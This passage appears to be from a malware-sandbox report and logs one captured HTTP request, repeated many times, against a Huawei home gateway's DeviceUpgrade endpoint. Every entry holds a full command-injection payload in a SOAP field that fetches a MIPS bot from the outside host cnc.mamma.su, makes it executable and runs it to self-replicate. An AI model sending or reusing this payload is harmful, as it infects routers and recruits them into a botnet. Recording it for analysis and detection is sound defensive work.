/tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 